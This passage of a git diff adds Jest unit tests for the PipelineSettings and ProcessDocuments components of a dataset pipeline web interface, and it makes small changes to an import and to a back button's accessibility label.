   RiErrorWarningFill,
   RiLoader2Line,
 } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { CheckCircle } from '@/app/components/base/icons/src/vender/solid/general'
 import Popover from '@/app/components/base/popover'
 import { useBoolean } from 'ahooks'
diff --git a/web/app/components/datasets/documents/detail/settings/pipeline-settings/index.spec.tsx b/web/app/components/datasets/documents/detail/settings/pipeline-settings/index.spec.tsx
new file mode 100644
index 0000000000..8fc333de95
--- /dev/null
+++ b/web/app/components/datasets/documents/detail/settings/pipeline-settings/index.spec.tsx
@@ -0,0 +1,779 @@
+import { fireEvent, render, screen, waitFor } from '@testing-library/react'
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query'
+import PipelineSettings from './index'
+import { DatasourceType } from '@/models/pipeline'
+import type { PipelineExecutionLogResponse } from '@/models/pipeline'
+
+// Mock Next.js router
+const mockPush = jest.fn()
+const mockBack = jest.fn()
+jest.mock('next/navigation', () => ({
+  useRouter: () => ({
+    push: mockPush,
+    back: mockBack,
+  }),
+}))
+
+// Mock dataset detail context
+const mockPipelineId = 'pipeline-123'
+jest.mock('@/context/dataset-detail', () => ({
+  useDatasetDetailContextWithSelector: (selector: (state: { dataset: { pipeline_id: string; doc_form: string } }) => unknown) =>
+    selector({ dataset: { pipeline_id: mockPipelineId, doc_form: 'text_model' } }),
+}))
+
+// Mock API hooks for PipelineSettings
+const mockUsePipelineExecutionLog = jest.fn()
+const mockMutateAsync = jest.fn()
+const mockUseRunPublishedPipeline = jest.fn()
+jest.mock('@/service/use-pipeline', () => ({
+  usePipelineExecutionLog: (params: { dataset_id: string; document_id: string }) => mockUsePipelineExecutionLog(params),
+  useRunPublishedPipeline: () => mockUseRunPublishedPipeline(),
+  // For ProcessDocuments component
+  usePublishedPipelineProcessingParams: () => ({
+    data: { variables: [] },
+    isFetching: false,
+  }),
+}))
+
+// Mock document invalidation hooks
+const mockInvalidDocumentList = jest.fn()
+const mockInvalidDocumentDetail = jest.fn()
+jest.mock('@/service/knowledge/use-document', () => ({
+  useInvalidDocumentList: () => mockInvalidDocumentList,
+  useInvalidDocumentDetail: () => mockInvalidDocumentDetail,
+}))
+
+// Mock Form component in ProcessDocuments - internal dependencies are too complex
+jest.mock('../../../create-from-pipeline/process-documents/form', () => {
+  return function MockForm({
+    ref,
+    initialData,
+    configurations,
+    onSubmit,
+    onPreview,
+    isRunning,
+  }: {
+    ref: React.RefObject<{ submit: () => void }>
+    initialData: Record<string, unknown>
+    configurations: Array<{ variable: string; label: string; type: string }>
+    schema: unknown
+    onSubmit: (data: Record<string, unknown>) => void
+    onPreview: () => void
+    isRunning: boolean
+  }) {
+    if (ref && typeof ref === 'object' && 'current' in ref) {
+      (ref as React.MutableRefObject<{ submit: () => void }>).current = {
+        submit: () => onSubmit(initialData),
+      }
+    }
+    return (
+      <form
+        data-testid="process-form"
+        onSubmit={(e) => {
+          e.preventDefault()
+          onSubmit(initialData)
+        }}
+      >
+        {configurations.map((config, index) => (
+          <div key={index} data-testid={`field-${config.variable}`}>
+            <label>{config.label}</label>
+          </div>
+        ))}
+        <button type="button" data-testid="preview-btn" onClick={onPreview} disabled={isRunning}>
+          Preview
+        </button>
+      </form>
+    )
+  }
+})
+
+// Mock ChunkPreview - has complex internal state and many dependencies
+jest.mock('../../../create-from-pipeline/preview/chunk-preview', () => {
+  return function MockChunkPreview({
+    dataSourceType,
+    localFiles,
+    onlineDocuments,
+    websitePages,
+    onlineDriveFiles,
+    isIdle,
+    isPending,
+    estimateData,
+  }: {
+    dataSourceType: string
+    localFiles: unknown[]
+    onlineDocuments: unknown[]
+    websitePages: unknown[]
+    onlineDriveFiles: unknown[]
+    isIdle: boolean
+    isPending: boolean
+    estimateData: unknown
+  }) {
+    return (
+      <div data-testid="chunk-preview">
+        <span data-testid="datasource-type">{dataSourceType}</span>
+        <span data-testid="local-files-count">{localFiles.length}</span>
+        <span data-testid="online-documents-count">{onlineDocuments.length}</span>
+        <span data-testid="website-pages-count">{websitePages.length}</span>
+        <span data-testid="online-drive-files-count">{onlineDriveFiles.length}</span>
+        <span data-testid="is-idle">{String(isIdle)}</span>
+        <span data-testid="is-pending">{String(isPending)}</span>
+        <span data-testid="has-estimate-data">{String(!!estimateData)}</span>
+      </div>
+    )
+  }
+})
+
+// Test utilities
+const createQueryClient = () =>
+  new QueryClient({
+    defaultOptions: {
+      queries: { retry: false },
+      mutations: { retry: false },
+    },
+  })
+
+const renderWithProviders = (ui: React.ReactElement) => {
+  const queryClient = createQueryClient()
+  return render(
+    <QueryClientProvider client={queryClient}>
+      {ui}
+    </QueryClientProvider>,
+  )
+}
+
+// Factory functions for test data
+const createMockExecutionLogResponse = (
+  overrides: Partial<PipelineExecutionLogResponse> = {},
+): PipelineExecutionLogResponse => ({
+  datasource_type: DatasourceType.localFile,
+  input_data: { chunk_size: '100' },
+  datasource_node_id: 'datasource-node-1',
+  datasource_info: {
+    related_id: 'file-1',
+    name: 'test-file.pdf',
+    extension: 'pdf',
+  },
+  ...overrides,
+})
+
+const createDefaultProps = () => ({
+  datasetId: 'dataset-123',
+  documentId: 'document-456',
+})
+
+describe('PipelineSettings', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockPush.mockClear()
+    mockBack.mockClear()
+    mockMutateAsync.mockClear()
+    mockInvalidDocumentList.mockClear()
+    mockInvalidDocumentDetail.mockClear()
+
+    // Default: successful data fetch
+    mockUsePipelineExecutionLog.mockReturnValue({
+      data: createMockExecutionLogResponse(),
+      isFetching: false,
+      isError: false,
+    })
+
+    // Default: useRunPublishedPipeline mock
+    mockUseRunPublishedPipeline.mockReturnValue({
+      mutateAsync: mockMutateAsync,
+      isIdle: true,
+      isPending: false,
+    })
+  })
+
+  // ==================== Rendering Tests ====================
+  // Test basic rendering with real components
+  describe('Rendering', () => {
+    it('should render without crashing when data is loaded', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+
+      // Assert - Real LeftHeader should render with correct content
+      expect(screen.getByText('datasetPipeline.documentSettings.title')).toBeInTheDocument()
+      expect(screen.getByText('datasetPipeline.addDocuments.steps.processDocuments')).toBeInTheDocument()
+      // Real ProcessDocuments should render
+      expect(screen.getByTestId('process-form')).toBeInTheDocument()
+      // ChunkPreview should render
+      expect(screen.getByTestId('chunk-preview')).toBeInTheDocument()
+    })
+
+    it('should render Loading component when fetching data', () => {
+      // Arrange
+      mockUsePipelineExecutionLog.mockReturnValue({
+        data: undefined,
+        isFetching: true,
+        isError: false,
+      })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+
+      // Assert - Loading component should be rendered, not main content
+      expect(screen.queryByText('datasetPipeline.documentSettings.title')).not.toBeInTheDocument()
+      expect(screen.queryByTestId('process-form')).not.toBeInTheDocument()
+    })
+
+    it('should render AppUnavailable when there is an error', () => {
+      // Arrange
+      mockUsePipelineExecutionLog.mockReturnValue({
+        data: undefined,
+        isFetching: false,
+        isError: true,
+      })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+
+      // Assert - AppUnavailable should be rendered
+      expect(screen.queryByText('datasetPipeline.documentSettings.title')).not.toBeInTheDocument()
+    })
+
+    it('should render container with correct CSS classes', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { container } = renderWithProviders(<PipelineSettings {...props} />)
+
+      // Assert
+      const mainContainer = container.firstChild as HTMLElement
+      expect(mainContainer).toHaveClass('relative', 'flex', 'min-w-[1024px]')
+    })
+  })
+
+  // ==================== LeftHeader Integration ====================
+  // Test real LeftHeader component behavior
+  describe('LeftHeader Integration', () => {
+    it('should render LeftHeader with title prop', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+
+      // Assert - LeftHeader displays the title
+      expect(screen.getByText('datasetPipeline.documentSettings.title')).toBeInTheDocument()
+    })
+
+    it('should render back button in LeftHeader', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+
+      // Assert - Back button should exist with proper aria-label
+      const backButton = screen.getByRole('button', { name: 'common.operation.back' })
+      expect(backButton).toBeInTheDocument()
+    })
+
+    it('should call router.back when back button is clicked', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+      const backButton = screen.getByRole('button', { name: 'common.operation.back' })
+      fireEvent.click(backButton)
+
+      // Assert
+      expect(mockBack).toHaveBeenCalledTimes(1)
+    })
+  })
+
+  // ==================== Props Testing ====================
+  describe('Props', () => {
+    it('should pass datasetId and documentId to usePipelineExecutionLog', () => {
+      // Arrange
+      const props = { datasetId: 'custom-dataset', documentId: 'custom-document' }
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+
+      // Assert
+      expect(mockUsePipelineExecutionLog).toHaveBeenCalledWith({
+        dataset_id: 'custom-dataset',
+        document_id: 'custom-document',
+      })
+    })
+  })
+
+  // ==================== Memoization - Data Transformation ====================
+  describe('Memoization - Data Transformation', () => {
+    it('should transform localFile datasource correctly', () => {
+      // Arrange
+      const mockData = createMockExecutionLogResponse({
+        datasource_type: DatasourceType.localFile,
+        datasource_info: {
+          related_id: 'file-123',
+          name: 'document.pdf',
+          extension: 'pdf',
+        },
+      })
+      mockUsePipelineExecutionLog.mockReturnValue({
+        data: mockData,
+        isFetching: false,
+        isError: false,
+      })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('local-files-count')).toHaveTextContent('1')
+      expect(screen.getByTestId('datasource-type')).toHaveTextContent(DatasourceType.localFile)
+    })
+
+    it('should transform websiteCrawl datasource correctly', () => {
+      // Arrange
+      const mockData = createMockExecutionLogResponse({
+        datasource_type: DatasourceType.websiteCrawl,
+        datasource_info: {
+          content: 'Page content',
+          description: 'Page description',
+          source_url: 'https://example.com/page',
+          title: 'Page Title',
+        },
+      })
+      mockUsePipelineExecutionLog.mockReturnValue({
+        data: mockData,
+        isFetching: false,
+        isError: false,
+      })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('website-pages-count')).toHaveTextContent('1')
+      expect(screen.getByTestId('local-files-count')).toHaveTextContent('0')
+    })
+
+    it('should transform onlineDocument datasource correctly', () => {
+      // Arrange
+      const mockData = createMockExecutionLogResponse({
+        datasource_type: DatasourceType.onlineDocument,
+        datasource_info: {
+          workspace_id: 'workspace-1',
+          page: { page_id: 'page-1', page_name: 'Notion Page' },
+        },
+      })
+      mockUsePipelineExecutionLog.mockReturnValue({
+        data: mockData,
+        isFetching: false,
+        isError: false,
+      })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('online-documents-count')).toHaveTextContent('1')
+    })
+
+    it('should transform onlineDrive datasource correctly', () => {
+      // Arrange
+      const mockData = createMockExecutionLogResponse({
+        datasource_type: DatasourceType.onlineDrive,
+        datasource_info: { id: 'drive-1', type: 'doc', name: 'Google Doc', size: 1024 },
+      })
+      mockUsePipelineExecutionLog.mockReturnValue({
+        data: mockData,
+        isFetching: false,
+        isError: false,
+      })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('online-drive-files-count')).toHaveTextContent('1')
+    })
+  })
+
+  // ==================== User Interactions - Process ====================
+  describe('User Interactions - Process', () => {
+    it('should trigger form submit when process button is clicked', async () => {
+      // Arrange
+      mockMutateAsync.mockResolvedValue({})
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+      // Find the "Save and Process" button (from real ProcessDocuments > Actions)
+      const processButton = screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' })
+      fireEvent.click(processButton)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockMutateAsync).toHaveBeenCalled()
+      })
+    })
+
+    it('should call handleProcess with is_preview=false', async () => {
+      // Arrange
+      mockMutateAsync.mockResolvedValue({})
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+      fireEvent.click(screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockMutateAsync).toHaveBeenCalledWith(
+          expect.objectContaining({
+            is_preview: false,
+            pipeline_id: mockPipelineId,
+            original_document_id: 'document-456',
+          }),
+          expect.any(Object),
+        )
+      })
+    })
+
+    it('should navigate to documents list after successful process', async () => {
+      // Arrange
+      mockMutateAsync.mockImplementation((_request, options) => {
+        options?.onSuccess?.()
+        return Promise.resolve({})
+      })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+      fireEvent.click(screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockPush).toHaveBeenCalledWith('/datasets/dataset-123/documents')
+      })
+    })
+
+    it('should invalidate document cache after successful process', async () => {
+      // Arrange
+      mockMutateAsync.mockImplementation((_request, options) => {
+        options?.onSuccess?.()
+        return Promise.resolve({})
+      })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+      fireEvent.click(screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockInvalidDocumentList).toHaveBeenCalled()
+        expect(mockInvalidDocumentDetail).toHaveBeenCalled()
+      })
+    })
+  })
+
+  // ==================== User Interactions - Preview ====================
+  describe('User Interactions - Preview', () => {
+    it('should trigger preview when preview button is clicked', async () => {
+      // Arrange
+      mockMutateAsync.mockResolvedValue({ data: { outputs: {} } })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+      fireEvent.click(screen.getByTestId('preview-btn'))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockMutateAsync).toHaveBeenCalled()
+      })
+    })
+
+    it('should call handlePreviewChunks with is_preview=true', async () => {
+      // Arrange
+      mockMutateAsync.mockResolvedValue({ data: { outputs: {} } })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+      fireEvent.click(screen.getByTestId('preview-btn'))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockMutateAsync).toHaveBeenCalledWith(
+          expect.objectContaining({
+            is_preview: true,
+            pipeline_id: mockPipelineId,
+          }),
+          expect.any(Object),
+        )
+      })
+    })
+
+    it('should update estimateData on successful preview', async () => {
+      // Arrange
+      const mockOutputs = { chunks: [], total_tokens: 50 }
+      mockMutateAsync.mockImplementation((_req, opts) => {
+        opts?.onSuccess?.({ data: { outputs: mockOutputs } })
+        return Promise.resolve({ data: { outputs: mockOutputs } })
+      })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+      fireEvent.click(screen.getByTestId('preview-btn'))
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByTestId('has-estimate-data')).toHaveTextContent('true')
+      })
+    })
+  })
+
+  // ==================== API Integration ====================
+  describe('API Integration', () => {
+    it('should pass correct parameters for preview', async () => {
+      // Arrange
+      const mockData = createMockExecutionLogResponse({
+        datasource_type: DatasourceType.localFile,
+        datasource_node_id: 'node-xyz',
+        datasource_info: { related_id: 'file-1', name: 'test.pdf', extension: 'pdf' },
+        input_data: {},
+      })
+      mockUsePipelineExecutionLog.mockReturnValue({
+        data: mockData,
+        isFetching: false,
+        isError: false,
+      })
+      mockMutateAsync.mockResolvedValue({ data: { outputs: {} } })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+      fireEvent.click(screen.getByTestId('preview-btn'))
+
+      // Assert - inputs come from initialData which is transformed by useInitialData
+      // Since usePublishedPipelineProcessingParams returns empty variables, inputs is {}
+      await waitFor(() => {
+        expect(mockMutateAsync).toHaveBeenCalledWith(
+          {
+            pipeline_id: mockPipelineId,
+            inputs: {},
+            start_node_id: 'node-xyz',
+            datasource_type: DatasourceType.localFile,
+            datasource_info_list: [{ related_id: 'file-1', name: 'test.pdf', extension: 'pdf' }],
+            is_preview: true,
+          },
+          expect.any(Object),
+        )
+      })
+    })
+  })
+
+  // ==================== Edge Cases ====================
+  describe('Edge Cases', () => {
+    it.each([
+      [DatasourceType.localFile, 'local-files-count', '1'],
+      [DatasourceType.websiteCrawl, 'website-pages-count', '1'],
+      [DatasourceType.onlineDocument, 'online-documents-count', '1'],
+      [DatasourceType.onlineDrive, 'online-drive-files-count', '1'],
+    ])('should handle %s datasource type correctly', (datasourceType, testId, expectedCount) => {
+      // Arrange
+      const datasourceInfoMap: Record<DatasourceType, Record<string, unknown>> = {
+        [DatasourceType.localFile]: { related_id: 'f1', name: 'file.pdf', extension: 'pdf' },
+        [DatasourceType.websiteCrawl]: { content: 'c', description: 'd', source_url: 'u', title: 't' },
+        [DatasourceType.onlineDocument]: { workspace_id: 'w1', page: { page_id: 'p1' } },
+        [DatasourceType.onlineDrive]: { id: 'd1', type: 'doc', name: 'n', size: 100 },
+      }
+
+      const mockData = createMockExecutionLogResponse({
+        datasource_type: datasourceType,
+        datasource_info: datasourceInfoMap[datasourceType],
+      })
+      mockUsePipelineExecutionLog.mockReturnValue({
+        data: mockData,
+        isFetching: false,
+        isError: false,
+      })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+
+      // Assert
+      expect(screen.getByTestId(testId)).toHaveTextContent(expectedCount)
+    })
+
+    it('should show loading state during initial fetch', () => {
+      // Arrange
+      mockUsePipelineExecutionLog.mockReturnValue({
+        data: undefined,
+        isFetching: true,
+        isError: false,
+      })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+
+      // Assert
+      expect(screen.queryByTestId('process-form')).not.toBeInTheDocument()
+    })
+
+    it('should show error state when API fails', () => {
+      // Arrange
+      mockUsePipelineExecutionLog.mockReturnValue({
+        data: undefined,
+        isFetching: false,
+        isError: true,
+      })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+
+      // Assert
+      expect(screen.queryByTestId('process-form')).not.toBeInTheDocument()
+    })
+  })
+
+  // ==================== State Management ====================
+  describe('State Management', () => {
+    it('should initialize with undefined estimateData', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('has-estimate-data')).toHaveTextContent('false')
+    })
+
+    it('should update estimateData after successful preview', async () => {
+      // Arrange
+      const mockEstimateData = { chunks: [], total_tokens: 50 }
+      mockMutateAsync.mockImplementation((_req, opts) => {
+        opts?.onSuccess?.({ data: { outputs: mockEstimateData } })
+        return Promise.resolve({ data: { outputs: mockEstimateData } })
+      })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+      fireEvent.click(screen.getByTestId('preview-btn'))
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByTestId('has-estimate-data')).toHaveTextContent('true')
+      })
+    })
+
+    it('should set isPreview ref to false when process is clicked', async () => {
+      // Arrange
+      mockMutateAsync.mockResolvedValue({})
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+      fireEvent.click(screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockMutateAsync).toHaveBeenCalledWith(
+          expect.objectContaining({ is_preview: false }),
+          expect.any(Object),
+        )
+      })
+    })
+
+    it('should set isPreview ref to true when preview is clicked', async () => {
+      // Arrange
+      mockMutateAsync.mockResolvedValue({ data: { outputs: {} } })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+      fireEvent.click(screen.getByTestId('preview-btn'))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockMutateAsync).toHaveBeenCalledWith(
+          expect.objectContaining({ is_preview: true }),
+          expect.any(Object),
+        )
+      })
+    })
+
+    it('should pass isPending=true to ChunkPreview when preview is pending', async () => {
+      // Arrange - Start with isPending=false so buttons are enabled
+      let isPendingState = false
+      mockUseRunPublishedPipeline.mockImplementation(() => ({
+        mutateAsync: mockMutateAsync,
+        isIdle: !isPendingState,
+        isPending: isPendingState,
+      }))
+
+      // A promise that never resolves to keep the pending state
+      const pendingPromise = new Promise<void>(() => undefined)
+      // When mutateAsync is called, set isPending to true and trigger rerender
+      mockMutateAsync.mockImplementation(() => {
+        isPendingState = true
+        return pendingPromise
+      })
+
+      const props = createDefaultProps()
+      const { rerender } = renderWithProviders(<PipelineSettings {...props} />)
+
+      // Act - Click preview button (sets isPreview.current = true and calls mutateAsync)
+      fireEvent.click(screen.getByTestId('preview-btn'))
+
+      // Update mock and rerender to reflect isPending=true state
+      mockUseRunPublishedPipeline.mockReturnValue({
+        mutateAsync: mockMutateAsync,
+        isIdle: false,
+        isPending: true,
+      })
+      rerender(
+        <QueryClientProvider client={createQueryClient()}>
+          <PipelineSettings {...props} />
+        </QueryClientProvider>,
+      )
+
+      // Assert - isPending && isPreview.current should both be true now
+      expect(screen.getByTestId('is-pending')).toHaveTextContent('true')
+    })
+
+    it('should pass isPending=false to ChunkPreview when process is pending (not preview)', async () => {
+      // Arrange - isPending is true but isPreview.current is false
+      mockUseRunPublishedPipeline.mockReturnValue({
+        mutateAsync: mockMutateAsync,
+        isIdle: false,
+        isPending: true,
+      })
+      mockMutateAsync.mockReturnValue(new Promise<void>(() => undefined))
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<PipelineSettings {...props} />)
+      // Click process (not preview) to set isPreview.current = false
+      fireEvent.click(screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' }))
+
+      // Assert - isPending && isPreview.current should be false (true && false = false)
+      await waitFor(() => {
+        expect(screen.getByTestId('is-pending')).toHaveTextContent('false')
+      })
+    })
+  })
+})
diff --git a/web/app/components/datasets/documents/detail/settings/pipeline-settings/left-header.tsx b/web/app/components/datasets/documents/detail/settings/pipeline-settings/left-header.tsx
index a075aa3308..b5660259a8 100644
--- a/web/app/components/datasets/documents/detail/settings/pipeline-settings/left-header.tsx
+++ b/web/app/components/datasets/documents/detail/settings/pipeline-settings/left-header.tsx
@@ -31,6 +31,7 @@ const LeftHeader = ({
         variant='secondary-accent'
         className='absolute -left-11 top-3.5 size-9 rounded-full p-0'
         onClick={navigateBack}
+        aria-label={t('common.operation.back')}
       >
         <RiArrowLeftLine className='size-5 ' />
       </Button>
diff --git a/web/app/components/datasets/documents/detail/settings/pipeline-settings/process-documents/index.spec.tsx b/web/app/components/datasets/documents/detail/settings/pipeline-settings/process-documents/index.spec.tsx
new file mode 100644
index 0000000000..8cbd743d79
--- /dev/null
+++ b/web/app/components/datasets/documents/detail/settings/pipeline-settings/process-documents/index.spec.tsx
@@ -0,0 +1,566 @@
+import { fireEvent, render, screen } from '@testing-library/react'
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query'
+import ProcessDocuments from './index'
+import { PipelineInputVarType } from '@/models/pipeline'
+import type { RAGPipelineVariable } from '@/models/pipeline'
+
+// Mock dataset detail context - required for useInputVariables hook
+const mockPipelineId = 'pipeline-123'
+jest.mock('@/context/dataset-detail', () => ({
+  useDatasetDetailContextWithSelector: (selector: (state: { dataset: { pipeline_id: string } }) => string) =>
+    selector({ dataset: { pipeline_id: mockPipelineId } }),
+}))
+
+// Mock API call for pipeline processing params
+const mockParamsConfig = jest.fn()
+jest.mock('@/service/use-pipeline', () => ({
+  usePublishedPipelineProcessingParams: () => ({
+    data: mockParamsConfig(),
+    isFetching: false,
+  }),
+}))
+
+// Mock Form component - internal dependencies (useAppForm, BaseField) are too complex
+// Keep the mock minimal and focused on testing the integration
+jest.mock('../../../../create-from-pipeline/process-documents/form', () => {
+  return function MockForm({
+    ref,
+    initialData,
+    configurations,
+    onSubmit,
+    onPreview,
+    isRunning,
+  }: {
+    ref: React.RefObject<{ submit: () => void }>
+    initialData: Record<string, unknown>
+    configurations: Array<{ variable: string; label: string; type: string }>
+    schema: unknown
+    onSubmit: (data: Record<string, unknown>) => void
+    onPreview: () => void
+    isRunning: boolean
+  }) {
+    // Expose submit method via ref for parent component control
+    if (ref && typeof ref === 'object' && 'current' in ref) {
+      (ref as React.MutableRefObject<{ submit: () => void }>).current = {
+        submit: () => onSubmit(initialData),
+      }
+    }
+    return (
+      <form
+        data-testid="process-form"
+        onSubmit={(e) => {
+          e.preventDefault()
+          onSubmit(initialData)
+        }}
+      >
+        {/* Render actual field labels from configurations */}
+        {configurations.map((config, index) => (
+          <div key={index} data-testid={`field-${config.variable}`}>
+            <label>{config.label}</label>
+            <input
+              name={config.variable}
+              defaultValue={String(initialData[config.variable] ?? '')}
+              data-testid={`input-${config.variable}`}
+            />
+          </div>
+        ))}
+        <button type="button" data-testid="preview-btn" onClick={onPreview} disabled={isRunning}>
+          Preview
+        </button>
+      </form>
+    )
+  }
+})
+
+// Test utilities
+const createQueryClient = () =>
+  new QueryClient({
+    defaultOptions: {
+      queries: { retry: false },
+      mutations: { retry: false },
+    },
+  })
+
+const renderWithProviders = (ui: React.ReactElement) => {
+  const queryClient = createQueryClient()
+  return render(
+    <QueryClientProvider client={queryClient}>
+      {ui}
+    </QueryClientProvider>,
+  )
+}
+
+// Factory function for creating mock variables - matches RAGPipelineVariable type
+const createMockVariable = (overrides: Partial<RAGPipelineVariable> = {}): RAGPipelineVariable => ({
+  belong_to_node_id: 'node-123',
+  type: PipelineInputVarType.textInput,
+  variable: 'test_var',
+  label: 'Test Variable',
+  required: false,
+  ...overrides,
+})
+
+// Default props factory
+const createDefaultProps = (overrides: Partial<{
+  datasourceNodeId: string
+  lastRunInputData: Record<string, unknown>
+  isRunning: boolean
+  ref: React.RefObject<{ submit: () => void } | null>
+  onProcess: () => void
+  onPreview: () => void
+  onSubmit: (data: Record<string, unknown>) => void
+}> = {}) => ({
+  datasourceNodeId: 'node-123',
+  lastRunInputData: {},
+  isRunning: false,
+  ref: { current: null } as React.RefObject<{ submit: () => void } | null>,
+  onProcess: jest.fn(),
+  onPreview: jest.fn(),
+  onSubmit: jest.fn(),
+  ...overrides,
+})
+
+describe('ProcessDocuments', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    // Default: return empty variables
+    mockParamsConfig.mockReturnValue({ variables: [] })
+  })
+
+  // ==================== Rendering Tests ====================
+  // Test basic rendering and component structure
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<ProcessDocuments {...props} />)
+
+      // Assert - verify both Form and Actions are rendered
+      expect(screen.getByTestId('process-form')).toBeInTheDocument()
+      expect(screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' })).toBeInTheDocument()
+    })
+
+    it('should render with correct container structure', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { container } = renderWithProviders(<ProcessDocuments {...props} />)
+
+      // Assert
+      const wrapper = container.firstChild as HTMLElement
+      expect(wrapper).toHaveClass('flex', 'flex-col', 'gap-y-4', 'pt-4')
+    })
+
+    it('should render form fields based on variables configuration', () => {
+      // Arrange
+      const variables: RAGPipelineVariable[] = [
+        createMockVariable({ variable: 'chunk_size', label: 'Chunk Size', type: PipelineInputVarType.number }),
+        createMockVariable({ variable: 'separator', label: 'Separator', type: PipelineInputVarType.textInput }),
+      ]
+      mockParamsConfig.mockReturnValue({ variables })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<ProcessDocuments {...props} />)
+
+      // Assert - real hooks transform variables to configurations
+      expect(screen.getByTestId('field-chunk_size')).toBeInTheDocument()
+      expect(screen.getByTestId('field-separator')).toBeInTheDocument()
+      expect(screen.getByText('Chunk Size')).toBeInTheDocument()
+      expect(screen.getByText('Separator')).toBeInTheDocument()
+    })
+  })
+
+  // ==================== Props Testing ====================
+  // Test how component behaves with different prop values
+  describe('Props', () => {
+    describe('lastRunInputData', () => {
+      it('should use lastRunInputData as initial form values', () => {
+        // Arrange
+        const variables: RAGPipelineVariable[] = [
+          createMockVariable({ variable: 'chunk_size', label: 'Chunk Size', type: PipelineInputVarType.number, default_value: '100' }),
+        ]
+        mockParamsConfig.mockReturnValue({ variables })
+        const lastRunInputData = { chunk_size: 500 }
+        const props = createDefaultProps({ lastRunInputData })
+
+        // Act
+        renderWithProviders(<ProcessDocuments {...props} />)
+
+        // Assert - lastRunInputData should override default_value
+        const input = screen.getByTestId('input-chunk_size') as HTMLInputElement
+        expect(input.defaultValue).toBe('500')
+      })
+
+      it('should use default_value when lastRunInputData is empty', () => {
+        // Arrange
+        const variables: RAGPipelineVariable[] = [
+          createMockVariable({ variable: 'chunk_size', label: 'Chunk Size', type: PipelineInputVarType.number, default_value: '100' }),
+        ]
+        mockParamsConfig.mockReturnValue({ variables })
+        const props = createDefaultProps({ lastRunInputData: {} })
+
+        // Act
+        renderWithProviders(<ProcessDocuments {...props} />)
+
+        // Assert
+        const input = screen.getByTestId('input-chunk_size') as HTMLInputElement
+        expect(input.value).toBe('100')
+      })
+    })
+
+    describe('isRunning', () => {
+      it('should enable Actions button when isRunning is false', () => {
+        // Arrange
+        const props = createDefaultProps({ isRunning: false })
+
+        // Act
+        renderWithProviders(<ProcessDocuments {...props} />)
+
+        // Assert
